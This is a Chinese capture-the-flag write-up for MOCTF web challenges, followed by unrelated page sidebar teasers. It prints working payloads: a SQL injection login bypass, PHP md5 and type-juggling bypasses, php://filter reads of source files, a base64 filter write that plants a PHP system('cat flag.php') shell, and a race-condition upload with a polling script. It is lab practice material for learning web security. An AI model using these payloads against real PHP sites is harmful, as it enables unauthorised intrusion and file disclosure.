MOCTF WriteUp

网址

MOCTF

Web

一道水题

F12查看源码直接得到。

还是水题

F12修改下maxlengthdisabled再提交moctf即可。

访问限制

进去要求满足:

只允许使用NAIVE浏览器访问!
只允许香港记者访问!

用BP改下User-Agent:NAIVEAccept-Language:zh-HK即可。

机器蛇

F12提示有robots.txt,得到flag327a6c4304ad5938eaf0efb6cc3e53dc.php,访问F12得到flag。

PHP黑魔法

提示用源码,访问:/index.php~。F12得到源码。

<?php

    $flag="moctf{**************}";
    
    if (isset($_GET['a'])&&isset($_GET['b'])) {
        $a=$_GET['a'];
        $b=$_GET['b'];


        if($a==$b) 
        {
            echo "<center>Wrong Answer!</center>";
        }
        else {
            if(md5($a)==md5($b)) 
            {
                echo "<center>".$flag."</center>"; 
                echo "By:daoyuan";
            }
            else echo "<center>Wrong Answer!</center>";
        }
        
    }
    else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>"; 
?>

构造payload:?a[]=1&b[]=2
得到flag。

我想要钱

给了源码:

<?php
    include "flag.php";
    highlight_file(__FILE__);

    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money))
        {
            echo $flag;
            echo "<!--By:daoyuan-->";
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

给个科学计数法的数字即可:?money=1e99

登录就对了

简单的sql注入。使用万能密码进入即可:

usernmae=admin'#
password=123

文件包含

进入看到url变成:/index.php?file=welcome.txt
尝试发现flag.php。直接用伪协议来读源码好了。
使用payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码后就可以得到flag。

暴跳老板

提示要给老板发邮件。
BP里构造:


暴躁老板.png

Flag在哪?

超多301跳转。访问flagfrog.php即可。

美味的饼干

F12在网络里看到cookie字段有一串base64编码,解码后得ee11cbb19052e40b07aac0ca060c23ee。去somd5解码得到时user
admin先md5后base64编码,再用BP发过去就好了。

没时间解释了

这是一道条件竞争题。
302抓包访问uploadsomething.php
这道题就是通过条件竞争漏洞来强制上传我们的php文件。
在Burpsuite中把请求给Intruder模块


payload选择Null payloads

线程设置20

再写个python脚本不断去请求就可以得到flag。

import requests

url = 'http://119.23.73.3:5006/web2/uploads/8894fa8eb7ab38cf32e6287023cde2d702cd1e98/1.php'
while True:
    res = requests.get(url)
    if 'ctf' in res.text:
        print(res.text)

死亡退出

访问给了源码:

 <?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

绕过<?php exit;?>,而base64编码会把<?;>过滤掉。file_put_contents会利用到php伪协议来读取文件流。
所以先把<?php system('cat flag.php'); ?>base64编码成:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
最后构造payload:

?c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

这样<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==base64decode之后会变成^?Z<?php system('cat flag.php');?>,从而绕过。
POST后F12得到Flag。

火眼金睛

写Python就完事儿了:

import requests
import re


url = 'http://119.23.73.3:5001/web10/'
s = requests.Session()
res = s.get(url)
answer = re.findall("moctf",res.text)
num = len(answer)-1
print(num)
url = 'http://119.23.73.3:5001/web10/work.php'
res = s.post(url,data={'answer':num})
print(res.text)

unset

给了源码:

<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,902评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,037评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,978评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,867评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,763评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,104评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,565评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,236评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,379评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,313评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,363评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,034评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,637评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,719评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,952评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,371评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,948评论 2 341

推荐阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,485评论 0 2
  • 记hackeme做题 hide and seek 查看源代码,搜索flag,看到flag guestbook 简单...
    Aluvion阅读 3,309评论 0 2
  • 捉迷藏 题目url:http://218.76.35.75:20111/index.php 进去之后查看源码: 发...
    Pr0ph3t阅读 1,659评论 0 2
  • 抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...
    ch3ckr阅读 12,967评论 0 6
  • 今天好多学长学姐卖东西,好热闹啊,还有街舞跳的也不错
    d341056a06eb阅读 117评论 0 1